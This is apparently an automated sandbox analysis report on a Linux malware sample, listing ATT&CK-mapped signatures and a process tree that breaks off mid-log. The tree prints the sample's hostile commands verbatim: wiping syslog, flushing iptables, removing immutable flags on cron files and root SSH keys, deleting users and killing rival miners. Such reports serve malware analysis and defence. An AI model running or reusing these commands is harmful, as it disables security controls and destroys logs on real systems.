3c0e677024ea8554a0eed96c62ef39549cefebb44937d9c778926daac67d5495

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27-09-2024 13:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fa8008ca091d7d984279655e9bc577d8_JaffaCakes118
Size

30KB
MD5

fa8008ca091d7d984279655e9bc577d8
SHA1

2cb21f9e3473a1fb6e3718b2018d6eea5f6f5020
SHA256

3c0e677024ea8554a0eed96c62ef39549cefebb44937d9c778926daac67d5495
SHA512

138f3847581ed8730764453da36c9555dd669e0bf5efc0c6f2433d443afeb4419cd6f190d97417dfa47a8cde3ab145e75664e96b16aad991ab5f10bf8204d9db
SSDEEP

384:p7pQBDf6jlpTWg3vMGQiirhHwMyGj4CC9vEKMvU/4Qdre21jT58vKpG2Y0orcfKS:p78zQ5VFNcDAFLcIwgnoYq0xFBVZHttn

Score

7^/10

defense_evasion discovery privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

pid process

2226
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
defense_evasion

Disable or Modify System Firewall
T1562.004

Processes:

iptables

pid process

753 iptables
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
privilege_escalation defense_evasion

Sudo and Sudo Caching
T1548.003

Processes:

sudo

pid process

759 sudo

pid	process
2226

pid	process
753	iptables

pid	process
759	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

Processes:

xargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargs

pid	process
1031	xargs
1284	xargs
1562	xargs
1574	xargs
1660	xargs
1752	xargs
1786	xargs
2172
749	chattr
1407	xargs
1808	xargs
1850	xargs
1175	xargs
1263	xargs
1428	xargs
1527	xargs
985	xargs
1243	xargs
1750	xargs
1790	xargs
1810	xargs
1814	xargs
897	xargs
1238	xargs
1269	xargs
1836	xargs
1253	xargs
1279	xargs
1521	xargs
1798	xargs
2152
899	xargs
1580	xargs
2116
1550	xargs
1704	xargs
1709	xargs
2132
2144
1400	xargs
1442	xargs
1503	xargs
1756	xargs
2136
911	xargs
939	xargs
970	xargs
1064	xargs
1630	xargs
1722	xargs
1778	xargs
1772	xargs
1820	xargs
1852	xargs
867	xargs
1102	xargs
1328	xargs
837	xargs
1219	xargs
1413	xargs
1545	xargs
1598	xargs
1764	xargs
1860	xargs

Disables AppArmor 16 IoCs
Disables AppArmor security module.

Processes:

pid process

2190
2203
2198
2198
2190
2197
2198
2198
2190
2190
2190
2201
2198
2205
2190
2198
Disables SELinux 1 TTPs 1 IoCs
Disables SELinux security module.
defense_evasion

Disable or Modify Tools
T1562.001

Processes:

pid process

2189
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
2190
2203
2198
2198
2190
2197
2198
2198
2190
2190
2190
2201
2198
2205
2190
2198

pid	process
2189

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

Processes:

pspspgreppspspgreppgreppspspgreppspspgreppkillpspspspgreppspspgreppgreppspskillpspspspgreppspspgreppgreppspspgreppspspgreppspspkillpspspgrep

description	ioc	process
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 9 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

Processes:

systemctl

description	ioc	process
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus
File opened for reading	/sys/fs/kdbus/0-system/bus

Process Discovery 1 TTPs 64 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

Processes:

pspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspsps

pid	process
976	ps
1140	ps
1297	ps
1636	ps
956	ps
1254	ps
1091	ps
1098	ps
1110	ps
1244	ps
1280	ps
1292	ps
971	ps
1431	ps
1457	ps
1488	ps
1626	ps
1065	ps
1146	ps
1230	ps
1234	ps
1423	ps
1438	ps
1468	ps
1483	ps
981	ps
1504	ps
1362	ps
1463	ps
1493	ps
1605	ps
1621	ps
1185	ps
1593	ps
1409	ps
966	ps
1118	ps
1587	ps
961	ps
1205	ps
1264	ps
1319	ps
1337	ps
1451	ps
1176	ps
1000	ps
1046	ps
1581	ps
951	ps
1215	ps
1249	ps
993	ps
1575	ps
1079	ps
1312	ps
2206
1132	ps
1369	ps
1259	ps
1195	ps
1350	ps
2211
1053	ps
1285	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

pspspkillpspspspspspspspspspgreppspsxargspspspgreppspspspgreppspgreppgreppgreppspgreppspspgreppgreppspspspgreppgreppspspspgreppspspspspspgrep

description	ioc	process
File opened for reading	/proc/332/status	ps
File opened for reading	/proc/81/cmdline	ps
File opened for reading	/proc/420/cmdline
File opened for reading	/proc/420/status	pkill
File opened for reading	/proc/733/cmdline
File opened for reading	/proc/110/status	ps
File opened for reading	/proc/1232/stat	ps
File opened for reading	/proc/73/stat	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/384/cmdline
File opened for reading	/proc/733/stat	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/734/cmdline
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/360/cmdline	ps
File opened for reading	/proc/384/cmdline	pgrep
File opened for reading	/proc/674/cmdline
File opened for reading	/proc/420/status
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/677/cmdline	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/23/cmdline
File opened for reading	/proc/153/status	ps
File opened for reading	/proc/332/stat	ps
File opened for reading	/proc/384/status	pgrep
File opened for reading	/proc/332/status	ps
File opened for reading	/proc/362/stat	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/384/cmdline	pgrep
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/255/cmdline	pgrep
File opened for reading	/proc/78/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/69/stat	ps
File opened for reading	/proc/381/cmdline	ps
File opened for reading	/proc/332/cmdline	pgrep
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/334/cmdline	ps
File opened for reading	/proc/733/cmdline	pgrep
File opened for reading	/proc/680/status	pgrep
File opened for reading	/proc/731/status
File opened for reading	/proc/127/stat	ps
File opened for reading	/proc/69/cmdline	ps
File opened for reading	/proc/381/status	ps
File opened for reading	/proc/381/status	ps
File opened for reading	/proc/734/stat	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/716/cmdline	pgrep
File opened for reading	/proc/364/status	pgrep
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/381/cmdline	pgrep
File opened for reading	/proc/75/stat	ps
File opened for reading	/proc/743/cmdline	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/677/cmdline	ps
File opened for reading	/proc/733/status	pgrep
File opened for reading	/proc/737/status	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/1021/stat	ps
File opened for reading	/proc/19/cmdline
File opened for reading	/proc/70/cmdline	pgrep

System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

grepgrepgrep

pid process

1197 grep
1227 grep
1470 grep
2007
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

fa8008ca091d7d984279655e9bc577d8_JaffaCakes118

description ioc process

File opened for modification /tmp/log_rot fa8008ca091d7d984279655e9bc577d8_JaffaCakes118

pid	process
1197	grep
1227	grep
1470	grep
2007

description	ioc	process
File opened for modification	/tmp/log_rot	fa8008ca091d7d984279655e9bc577d8_JaffaCakes118

/tmp/fa8008ca091d7d984279655e9bc577d8_JaffaCakes118
/tmp/fa8008ca091d7d984279655e9bc577d8_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:736
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:739
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:741
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:747
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:749
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  PID:751
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:753
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:759
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:766
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1su9He-0000CM-4a
      4⤵
      PID:779
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:769
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1su9He-0000CP-8P
      4⤵
      PID:781
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:771
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:772
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:774
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:777
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:778
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:780
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:782
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:784
- /bin/ps
  ps aux
  2⤵
  PID:785
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:786
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:788
- /bin/ps
  ps aux
  2⤵
  PID:787
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:792
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:794
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:795
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:801
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:800
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:798
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:799
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:807
- /bin/grep
  grep -v -
  2⤵
  PID:806
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:805
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:804
- /bin/grep
  grep :143
  2⤵
  PID:803
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:811
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:810
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:813
- /bin/grep
  grep :2222
  2⤵
  PID:809
- /bin/grep
  grep -v -
  2⤵
  PID:812
- /bin/grep
  grep -v -
  2⤵
  PID:818
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:819
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:817
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:816
- /bin/grep
  grep :3333
  2⤵
  PID:815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:825
- /bin/grep
  grep -v -
  2⤵
  PID:824
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:823
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:822
- /bin/grep
  grep :3389
  2⤵
  PID:821
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:831
- /bin/grep
  grep -v -
  2⤵
  PID:830
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:829
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:828
- /bin/grep
  grep :4444
  2⤵
  PID:827
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:837
- /bin/grep
  grep -v -
  2⤵
  PID:836
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:835
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:834
- /bin/grep
  grep :5555
  2⤵
  PID:833
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:843
- /bin/grep
  grep -v -
  2⤵
  PID:842
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:841
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:840
- /bin/grep
  grep :6666
  2⤵
  PID:839
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:849
- /bin/grep
  grep -v -
  2⤵
  PID:848
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:847
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:846
- /bin/grep
  grep :6665
  2⤵
  PID:845
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:855
- /bin/grep
  grep -v -
  2⤵
  PID:854
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:853
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:852
- /bin/grep
  grep :6667
  2⤵
  PID:851
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:861
- /bin/grep
  grep -v -
  2⤵
  PID:860
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:859
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:858
- /bin/grep
  grep :7777
  2⤵
  PID:857
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:867
- /bin/grep
  grep -v -
  2⤵
  PID:866
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:865
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:864
- /bin/grep
  grep :8444
  2⤵
  PID:863
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:873
- /bin/grep
  grep -v -
  2⤵
  PID:872
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:871
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:870
- /bin/grep
  grep :3347
  2⤵
  PID:869
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:879
- /bin/grep
  grep -v -
  2⤵
  PID:878
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:877
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:876
- /bin/grep
  grep :14444
  2⤵
  PID:875
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:885
- /bin/grep
  grep -v -
  2⤵
  PID:884
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:883
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:882
- /bin/grep
  grep :14433
  2⤵
  PID:881
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:891
- /bin/grep
  grep -v -
  2⤵
  PID:890
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:889
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:888
- /bin/grep
  grep :13531
  2⤵
  PID:887
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:893
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:892
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:895
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:894
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:897
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:896
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:899
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:898
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:901
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:900
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:903
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:902
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  PID:904
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  PID:905
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  PID:906
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:911
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:910
- /bin/grep
  grep -v grep
  2⤵
  PID:909
- /bin/grep
  grep ./oka
  2⤵
  PID:908
- /bin/ps
  ps aux
  2⤵
  PID:907
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:916
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:915
- /bin/grep
  grep -v grep
  2⤵
  PID:914
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:913
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:912
- /bin/grep
  grep -v postgres
  2⤵
  PID:924
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:927
- /bin/grep
  grep -v postgrey
  2⤵
  PID:925
- /bin/grep
  grep -v kinsing
  2⤵
  PID:926
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:922
- /bin/grep
  grep -v proxymap
  2⤵
  PID:923
- /bin/grep
  grep -v "("
  2⤵
  PID:921
- /bin/grep
  grep -v "\\["
  2⤵
  PID:920
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:928
- /bin/grep
  grep -v bin
  2⤵
  PID:919
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:918
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:917
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:939
- /bin/grep
  grep -v postgrey
  2⤵
  PID:937
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:938
- /bin/grep
  grep -v postgres
  2⤵
  PID:936
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:934
- /bin/grep
  grep -v proxymap
  2⤵
  PID:935
- /bin/grep
  grep -v "("
  2⤵
  PID:933
- /bin/grep
  grep -v "\\["
  2⤵
  PID:932
- /bin/grep
  grep -v bin
  2⤵
  PID:931
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:930
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads runtime system information
  PID:929
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:949
- /bin/grep
  grep -v postgres
  2⤵
  PID:947
- /bin/grep
  grep -v postgrey
  2⤵
  PID:948
- /bin/grep
  grep -v proxymap
  2⤵
  PID:946
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:945
- /bin/grep
  grep -v "("
  2⤵
  PID:944
- /bin/grep
  grep -v "\\["
  2⤵
  PID:943
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:950
- /bin/grep
  grep -v bin
  2⤵
  PID:942
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:941
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  PID:940
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:955
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:954
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:953
- /bin/grep
  grep -v grep
  2⤵
  PID:952
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:951
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:960
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:959
- /bin/grep
  grep -v grep
  2⤵
  PID:958
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:957
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:956
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:965
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:964
- /bin/grep
  grep -v grep
  2⤵
  PID:963
- /bin/grep
  grep ./crun
  2⤵
  PID:962
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:961
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:970
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:969
- /bin/grep
  grep -v grep
  2⤵
  PID:968
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:967
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:966
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:975
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:974
- /bin/grep
  grep :3333
  2⤵
  PID:973
- /bin/grep
  grep -v grep
  2⤵
  PID:972
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:971
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:980
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:979
- /bin/grep
  grep :5555
  2⤵
  PID:978
- /bin/grep
  grep -v grep
  2⤵
  PID:977
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:976
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:985
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:984
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:983
- /bin/grep
  grep -v grep
  2⤵
  PID:982
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:981
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:991
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:990
- /bin/grep
  grep log_
  2⤵
  PID:989
- /bin/grep
  grep -v grep
  2⤵
  PID:988
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:987
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:997
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:996
- /bin/grep
  grep systemten
  2⤵
  PID:995
- /bin/grep
  grep -v grep
  2⤵
  PID:994
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:993
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1004
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:1007
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:1007
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:1007
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:1007
- - /sbin/kill
    kill -9 10
    3⤵
    PID:1007
- - /bin/kill
    kill -9 10
    3⤵
    PID:1007
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1003
- /bin/grep
  grep netns
  2⤵
  PID:1002
- /bin/grep
  grep -v grep
  2⤵
  PID:1001
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1000
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1012
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1011
- /bin/grep
  grep voltuned
  2⤵
  PID:1010
- /bin/grep
  grep -v grep
  2⤵
  PID:1009
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1008
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1019
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1018
- /bin/grep
  grep darwin
  2⤵
  PID:1017
- /bin/grep
  grep -v grep
  2⤵
  PID:1016
- /bin/ps
  ps aux
  2⤵
  PID:1015
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1025
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1024
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1023
- /bin/grep
  grep -v grep
  2⤵
  PID:1022
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1021
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1031
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1030
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1029
- /bin/grep
  grep -v grep
  2⤵
  PID:1028
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1027
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1038
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1037
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1036
- /bin/grep
  grep -v grep
  2⤵
  PID:1035
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1034
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1044
